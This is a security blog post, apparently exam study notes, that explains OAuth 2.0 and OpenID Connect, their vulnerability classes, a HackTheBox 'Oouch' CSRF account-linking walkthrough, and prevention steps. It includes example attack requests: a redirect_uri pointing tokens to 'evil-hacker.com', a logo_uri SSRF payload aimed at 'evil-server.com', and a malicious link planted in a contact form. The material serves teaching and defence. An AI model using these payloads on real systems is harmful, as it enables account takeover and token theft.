Skip to main content
  1. Posts/

OAuth Vulnerabilities - Applied Review

·22 mins
web BSCP
Table of Contents

What is OAuth?
#

If you’ve ever looked around the web and found a site that allows you to sign in with your social media account, chances are that the feature being used there was build on the OAuth 2.0 framework. OAuth is used to request limited access to a user’s account on some other application. More importantly, this allows the user to grant access to an application without exposing their login credentials.

This allows the data a user is sharing to be a bit more fine-grained instead of just handing over full account access to some third party. An example of OAuth being used might be a social media platform asking to see your phone’s contact list to see if any of those contacts have a social media account you might want to connect with.

How OAuth Works
#

OAuth 2.0 was designed as a way to share specific data between applications by defining a series of interactions between three different parties:

  • Client application: The website or app that wants some access to the user’s data.
  • Resource owner: The user whose data the client application is requesting access.
  • OAuth service provider: The website or application that controls that user’s data and the access to it. They support OAuth by providing an API to interact with an authorization server and resource server.

For the sake of flexibility, there are multiple different ways that the OAuth process can be implemented - referred to as OAuth flows or grant types. The most common among these are usually authorization codes and implicit grant types that involve these stages:

  1. The client application requests access to user data, specifying the desired grant type and data to be accessed.
  2. The user is prompted to log in to the OAuth service and explicitly give consent for requested access.
  3. The client application receives a unique access token to prove that the user gave permission to access the requested data.
  4. The client application uses the access token to make API calls to fetch that data from a resource server.

Grant Types
#

The grant type determines the sequence of steps that are involved in the OAuth process. This affects how the application communicates with the OAuth service and how the access token itself is sent.

An OAuth service needs to be configured to support a certain grant type so that the client application can specify which grant type it wants to use to initialize the request.

There are multiple different types, but the most common are authorization codes and implicit grant types.

OAuth Scopes
#

For a given grant type, the application needs to specify the data it wants to access using a scope. The scopes that you can request are unique to each OAuth service, some may use a URI and others just a string like this:

scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly

Authorization Codes
#

In this grant type, the OAuth service and the client application initiate a series of redirects that ask the user if they consent to give the requested access. If the user accepts, then the application is given an authorization code that can be given to the OAuth service to receive an access token that can be used to make API calls to fetch that user data.

Once the code/token exchange is completed, all communications are sent over a secure back channel that is usually invisible to the end user. This secure channel is established when the client application registers with the OAuth service - a client_secret is generated that the client application uses to authenticate itself when sending these secure channel requests.

This grant type prevents user data from being sent through the browser and is usually preferred for server-side applications.

We can go into more detail though, which might give you ideas on where to try and poke some holes.

The client sends a request to the OAuth service’s /authorization endpoint and asks for permission to access some specific user data. It will look something like this:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

The request has some important parameters: client_id contains the ID for the client application, redirect_uri is where the browsers should be redirected when sending the authorization code to the client application, response_type represents the kind of response the client application is expecting, scope is used to specify which user data is to be accessed, state is used to map the current session on the client application to the authorization code later.

Next, the user will log in with their account and choose whether or not to give access to the client application.

Once access permission is given, the redirected to the redirect_uri from before and the resulting GET request in this case contains the authorization code as a query parameter like this:

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1 Host: client-app.com

Once the client application has this code, it needs to exchange it for an access token. It does this by sending a POST request over the back-end channel to the OAuth service’s token endpoint.

POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

The new parameters introduced here are client_secret which is used to let the client application authenticate itself, grant_type to make sure the new endpoint knows which grant type is being used, which is set to authorization_code in this case.

The OAuth service will then validate the token request and if everything goes well, the server will grant the client application an access token with the requested scope.

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}

Now the client application has an access token and code so it can fetch the user data with an API call. In this example, it is submitting these requests to the /userinfo OAuth endpoint and is submitting the access token in the Authorization: Bearer header to prove that the client application (sender) is authorized to request that information.

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

The resource server should then verify that this token is valid and that it belongs to the current client application and if it does, it will send the requested resource based on the scope of the access token.

Implicit Grant Type
#

This grant type has the client application receive an access token immediately after the user consents, skipping a few steps compared to the previous example. This type is a lot less secure because there is no use of a secure back-end communication channel and all this communication happens using redirects.

This is more suited to single-page applications that can’t easily store client_secret information on the back-end and therefore don’t benefit from using authorization codes.

This starts almost the same as the last time, where the client application sends the client_id, redirect_uri, response_type, scope, and state parameters over to the OAuth endpoint:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

The user then chooses to give permission and if they say yes, then the flow continues. The OAuth service will then redirect the user’s browser to the redirect_uri that was specified earlier, and it will send over the access token.

GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

This access token is a URL fragment and it is not sent directly to the client application - meaning the client application needs to use a suitable script to extract the fragment and store it.

Next, the client application will try and make an API call to the /userinfo endpoint in this case again via the browser. The client application will need to first successfully extract the token from the URL fragment.

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

The resource server can then verify that the token is valid and belongs to the client application and will respond with the requested data:

{
    "username":"gabe",
    "email":"gabe@mail.com"
}

OAuth Authentication
#

The widespread use of OAuth has led to many sites using it as a way to authenticate users as well. think of how a lot of modern websites allow you to log in with a social media account.

This wasn’t the original intention for OAuth’s creation, but it is becoming more widely used in an SSO use case scenario, which is typically implemented like this:

  • The user chooses to log in with their social media account, the client application uses the social media’s OAuth service to request access to some data that identifies the user, like an email address.
  • The client service receives an access token and then requests data from the resource server.
  • Once the data is received, the client application uses it in place of the username to log the user in and the access token received from the authorization server is used instead of a traditional password.

Identifying OAuth
#

The easiest way to identify OAuth is by proxying your traffic and looking at the redirects being used by the web application. Regardless of which OAuth flow is being used, it’ll always begin with a request to some authorization endpoint.

You want to figure out the name of the hostname of the authorization server, usually by tracing the authentication process that you can see in your proxy. Look for GET requests to endpoints like this:

/.well-known/oauth-authorization-server
/.well-known/openid-configuration

If these contain some JSON information that alludes to additional features or functionality, it’d be good to look into it further.

Exploiting OAuth Vulnerabilities
#

The two main categories pertain to where you’ll find these vulnerabilities. You’ll either observe an issue with the client application or the implementation of the OAuth service itself.

Improper Usage of Implicit Grant Type
#

this flow is only recommended for single-page applications, but it is still sometimes used in client-server applications of relative simplicity. The issue is that this grant type sends the access token from OAuth to the application via the user’s browser. Even though it is a URL fragment that needs to be taken apart, in a simple application it is possible that the logic for accessing that token is in client-side JavaScript that is accessible to the user. Even so, the user ID and access token need to be stored somewhere if the application wants to maintain the session after the page is closed.

This issue is often solved by the client application submitting this data with a POST request to the server, then assign the user a session cookie that logs them in. The issue is that the application doesn’t have any secrets or passwords to compare to those being submitted, which means that they are implicitly trusted as coming from the application.

This means that in some cases you could just change the username and/or email being used to authenticate with OAuth and you’d get a valid session cookie for the other user.

Flawed CSRF Protection
#

Even though many components of OAuth are optional, some of them are strongly recommended unless there is a really important reason not to use them. One of these is the state parameter that should contain some un-guessable value - like the hash of some value that is related to the user’s session.

This value is passed back and forth between the client application and the OAuth service and it acts like a CSRF token for the client application to verify that the request is being made by the user who owns the OAuth-related account.

So, if the state parameter is not present, you might be able to kick off the OAuth flow yourself and trick a user’s browser into completing it. Imagine a website that lets you log in with a username and password or a social media account with OAuth, if the application is not using the state parameter, then we might be able to hijack another account by binding it to our own social media account.

For example, once we’ve linked our social media account we can use that to log in instead of our username and password combination, but the state parameter is not being used:

GET /auth?client_id=tnmvb3ywtabpyxzm8cs2d&redirect_uri=https://vulnerable.com/oauth-login&response_type=code&scope=openid%20profile%20email 

This implies that there is no link between the OAuth login sequence and the actual user sessions. If we can just link our OAuth enabled account to another user’s account, we could log in as them.

If we look at some more requests being performed when we add a social media account we see this:

GET /oauth-linking?code=ILOPbfXUHXkaoJ7tPlXJwDo79Tsub14X1QLorVWwtGP

So, first the client application sends information to the /auth endpoint to tell OAuth how and where to send the code, then we see the GET request from the application with what we assume to be the code given by OAuth to authenticate and link the two accounts.

We can use this to gain access to another user’s account if we can get them to click on a /oauth-linking URL that still has an active token while the victim user is logged in.

All you’d need to do is serve this content to the victim user and get them to click on it, either with clickjacking or phishing or some other clever method to actually kick off the CSRF.

Leaking Authorization Codes and Access Tokens
#

The most popular OAuth vulnerability is when the configuration of the service allows attackers to steal authorization codes or access tokens associated with user accounts.

If we are able to steal a valid code, we would have access to the user’s data which could let us log in as the user or maybe even log in as the victim user on other OAuth enabled platforms.

Depending on the grant type, the code is either sent to the victim’s browser to the /callback endpoint specified by the redirect_uri parameter. If the OAuth service can’t correctly validate the URI then we can probably make a CSRF attack and trick a victim into initiating an OAuth flow that sends the code to our URI instead.

In this case, we could steal the victim’s code before it is used and then send it to the client application’s /callback endpoint to get access to that victim’s account.

For example, imagine we see a request like this being sent when we authenticate using a social media account:

GET /auth?client_id=g46ec1ab6jriubzexsq5a&redirect_uri=https://vulnerable.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2

Host: oauth-endpoint.net

If the OAuth endpoint doesn’t care what the redirect_uri parameter is, then it will reply with a code that allows us to authenticate as if we were the user.

If we get this code sent to our exploit server, it doesn’t change much if we were the ones to initiate the OAuth flow. However, if another user is fed this link and uses it to kick off their OAuth flow, we would get their access code.

If no CSRF or iframe protections are in place, we could load the OAuth page in an iframe, changing it to redirect to our exploit server which would give us the user’s code without completing their authentication process.

Then, once we have the GET request with the code as a URL parameter, we can just use that to log in as the victim user by requesting the actual redirect_uri page on the vulnerable page.

Flawed Redirect URI Validation
#

The issue we just went over would be a good reason to whitelist any of the legitimate callback URIs with the OAuth service. This way we aren’t able to submit a fake redirect URI to leak any sensitive information.

Of course, we’ve seen the issues that whitelisting can cause and they can sometimes be riddled with holes. Try some of the following tricks to see if you can circumvent a filter:

  • If the whitelist is implemented using a range of subdirectories then we can try to see if the whitelist only checks the beginning of the string by adding arbitrary paths.
  • If we can add extra values to the redirect_uri parameter then we could try to see if the parsing works correctly.
  • We might be able to add the parameter multiple times to bypass the whitelist parser.
  • We could try using localhost at some other domain, as some whitelists might support this for development purposes.

Stealing Codes and Tokens with Open Redirect
#

If we try and try but still aren’t able to get that redirect trick working, there are other options. If we are able to use some directory traversal payloads to try and trick the back-end into misinterpreting the path we might be able to mess around.

For example, if the whitelisted endpoint is:

https://vulnerable.com/oauth/callback/

We might be able to submit something like this:

https://vulnerable.com/oauth/callback/../../test/path

To trick the backend into thinking we are trying to request:

https://vulnerable.com/test/path

This alone isn’t incredible, but it can at least help us find more pages where we can manipulate query parameters to maybe leak those codes and tokens we want.

For example, let’s say that we log into a site that allows us to traverse the path from the /callback URI like this:

https://vulnerable.com/callback/../post?postId=1

If we eventually get redirected to that specified post, we might also see some access tokens sent as URL fragments.

We might be able to make a malicious URL that initiates an OAuth flow on our behalf like this:

https://oauth-server.net/auth?client_id=13akd831-&redirect_uri=https://vulnerable.com/oauth-callback/../post/next?path=https://evil-hacker.com/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

This just adds our malicious domain on the end of the actual correct redirect URI. If this also works and we get a request on our evil server, then we just need to host some JS that grabs the request parameters as well and we are set.

Keep in mind that in addition to open redirects, we can also take advantage of JS that handles query parameters, XSS vulnerabilities, and HTML injection vulnerabilities. If we are able to manipulate that redirect_uri parameter in any way we might be able to steal some tokens.

Flawed Scope Validation
#

In any OAuth flow, the user needs to approve some request to access data based on the scope in the request. The token that is returned by the OAuth service allows the client application to access data pertaining to that scope only.

In some cases we might be able to upgrade an access token to gain extra permissions to data. For instance, if we can add additional scope parameters to an otherwise legitimate request, we might be able to upgrade our access to a victim’s data.

OpenID Connect
#

OpenID Connect is an extension of OAuth that provides a dedicated identity and authentication layer that sits atop the basic OAuth implementation.

OAuth wasn’t designed with authentication in mind, but many sites use OAuth for this purpose anyways which requires some custom workarounds to actually fetch data for a user’s primary login method.

OpenID Connect integrates neatly into OAuth flows by using an additional standard set of scopes and an extra response type called id_token.

Roles
#

The roles for OpenID Connect are pretty similar to OAuth but they use different terminology to describe them:

  • Relying party: The application that requests for a user to be authenticated, like an OAuth client application.
  • End user: The user who is being authenticated, like the OAuth resource owner.
  • OpenID provider: The OAuth service that is configured to support OpenID Connect.

Claims and Scopes
#

In OpenID, claims refer to key-value pairs that represent information about the user on the resource server. A claim might be something like "username":"gabe12".

In OAuth, scopes are unique to each provider but all OpenID services use the same scopes. Each scope corresponds to a subset of claims about the user that are defined in the OpenID specification.

ID Token
#

OpenID Connect provides the id_token response type that returns a JWT made up of a list of claims based on the scope that was in the initial request. This also contains information about how and when the user was last authenticated by the OAuth service - which can be used to decide if the user was sufficiently authenticated.

The primary benefit of using an id_token is to reduce the number of requests that need to be sent between the client application and the OAuth service. This shrinks the attack surface a little bit and makes for better application performance.

This performance improvement is because we combine the actions of gaining an access token and requesting user data. The integrity of this data is based on JWT cryptographic signatures, which is in general more resilient to MITM attacks that would otherwise cause OAuth some trouble.

Identifying OpenID Connect
#

The easiest way to see if the application uses OpenID is by looking to see if the mandatory openid scope is used. Even if the login process doesn’t use this initially, you could still see if the OAuth service supports it.

You could also take a look at the OAuth provider’s documentation to see if more useful information is available.

Unprotected Dynamic Client Registration
#

OpenID uses a standardized way of having client applications register with the service, you can register the application with a POST request to a dedicated /registration endpoint.

The request body should contain key information about the application in JSON format, like whitelisted redirect URIs or names of exposed endpoints. A registration request might look like this:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

The OpenID provider should require that the client application authenticate itself, and in the above example the HTTP bearer token is used to do this. Some providers will provide dynamic registration that doesn’t require authentication that lets attackers register their own malicious client applications.

Some of the provided properties can be redirect URIs so if the OpenID provider uses them you might run into second order SSRF if proper security is not configured.

For example, imagine we see a site where the registration information is exposed somehow and we don’t need to authenticate our client application. If we see the target OAuth flow is fetching some kind of file like an image, we might be able to get some second-order SSRF.

Imagine the OAuth flow sends a GET request to the client service to fetch a logo so that when users get prompted to give access they can see a picture of the service:

GET /client/client_id/logo

If we know how this endpoint is given to the OAuth flow by looking at the registration request template, we could make our own client application and set the logo endpoint to point towards our listener:

POST /reg HTTP/2
Host: oauth-endpoint.oauth-server.net
Content-Type: application/json
Content-Length: 143

{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://evil-server.com"
}

This way, the response will give us our own client ID to query for the image and we would get a request on our server. We could then manipulate the logo URI to essentially forge requests on behalf of the OAuth server.

HTB - Oouch
#

We star this machine with a port scan and see some HTTP servers running on ports 5000 and 8000. If we go to port 5000 we can make an account and 8000 doesn’t like the format of a normal GET request, so we can wait to try something else with it.

If we do some directory enumeration we find an additional page for the site on port 5000:

╰─ dirsearch -u http://10.129.29.195:5000/        

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Desktop/HTB/Machines/Hard/Oouch/reports/http_10.129.29.195_5000/__24-01-27_20-04-41.txt

Target: http://10.129.29.195:5000/

[20:04:41] Starting: 
[20:04:46] 302 -  247B  - /about  ->  http://10.129.29.195:5000/login?next=%2Fabout
[20:04:55] 302 -  251B  - /contact  ->  http://10.129.29.195:5000/login?next=%2Fcontact
[20:04:56] 302 -  255B  - /documents  ->  http://10.129.29.195:5000/login?next=%2Fdocuments
[20:04:59] 302 -  245B  - /home  ->  http://10.129.29.195:5000/login?next=%2Fhome
[20:05:02] 200 -    2KB - /login
[20:05:03] 302 -  219B  - /logout  ->  http://10.129.29.195:5000/login
[20:05:09] 302 -  247B  - /oauth  ->  http://10.129.29.195:5000/login?next=%2Foauth
[20:05:13] 302 -  251B  - /profile  ->  http://10.129.29.195:5000/login?next=%2Fprofile
[20:05:14] 200 -    2KB - /register

Task Completed

We see that an /oauth endpoint is present and if we visit that page it gives us the following instructions on how to connect out accounts:

oauth-1

If we add this to our hosts file and try to configure OAuth for our account, we get redirected to authorization.oouch.htb which we also need to add to our hosts file.

We can navigate to this other page and go through the process of making a second account with the authorization service and then connect our accounts, making sure to proxy all this traffic.

If we look at the traffic, it seems like we can see there is seemingly no use of the state parameter which is meant to prevent CSRF type attacks.

When we click on the authorize button, the consumer site sends the client_id, response_type, redirect_uri, and scope parameters to the authorization site. The authorization site then replies with an access code for the consumer application to use which will then redirect you to the /profile endpoint.

All we need to do to gain access to someone else’s account is to get them to click on a link that connects their account to ours. This is because the state parameter is used to map the user session to the access token that is being given to the consumer application. If someone else clicks this link and their account has not yet been linked to the OAuth service, then it will just use their session to determine which user is being linked up.

We need to:

  • Generate another /oauth/connect/token request but not complete it.
  • Turn that request into a link that we submit into the contact page’s message section. This assumes that someone will eventually read the message and click on our link.

First, I made a new account with the OAuth provider and went to the /oauth/connect endpoint to kick off the account linking process. Then I dropped the request that contained the new access code:

GET /oauth/connect/token?code=F24FmsR20wXerFkOSHgrk2QhiYHy9d HTTP/1.1
Host: consumer.oouch.htb:5000
---SNIP---

We can turn this into a link that we submit to the contact form:

Test 
<a href="http://consumer.oouch.htb:5000/oauth/connect/token?code=F24FmsR20wXerFkOSHgrk2QhiYHy9d">Click here</a>

If we give it a few minutes and then login using the /oauth/login endpoint, then we see that someone else clicked on our URL and it connected our accounts:

oauth-2

Now we’ve gained access to the qtc user by taking advantage of a flawed OAuth implementation.

Prevention
#

There are a few different steps that need to be taken depending on what role you play in the process. A client application and OAuth service provider need to do slightly different things to help secure the implementation.

OAuth service providers should:

  • Require clients to whitelist the valid redirect_uri parameters, while employing good input sanitization.
  • Enforce the use of the state parameter and bind it to a user session to protect against CSRF-like attacks.
  • Verify the client ID that makes each request using an access token so that each client is using their specific token.

OAuth client applications should:

  • Use the state parameter even if it isn’t mandatory.
  • Send redirect_uri parameters to BOTH the /authorization and /token endpoints.
  • Try to keep the client_secret value private by implementing countermeasures for code interception or leakage.
  • If you use OpenID Connect, make sure the id_token is properly validated using a JSON signature.
  • Be careful when using authorization codes to ensure they aren’t leaked through images, scripts, or other dynamically generated content.

Related

HTTP Request Smuggling - Applied Review
·22 mins
web BSCP
What is HTTP Request Smuggling? # HTTP request smuggling is a technique that interferes with the way a web application will process sequences of HTTP requests received from one or more users.
Web Cache Vulnerabilities - Applied Review
·13 mins
web BSCP
What is Web Cache Poisoning? # This is a technique where we can get the target web server and its cache in order to serve a harmful HTTP response to other users.
Server-Side Template Injection - Applied Review
·6 mins
web BSCP
What is SSTi? # Server-Side Template Injection (SSTi) is when an attacker is able to inject some native template syntax into a template, which is exceed as code by the server.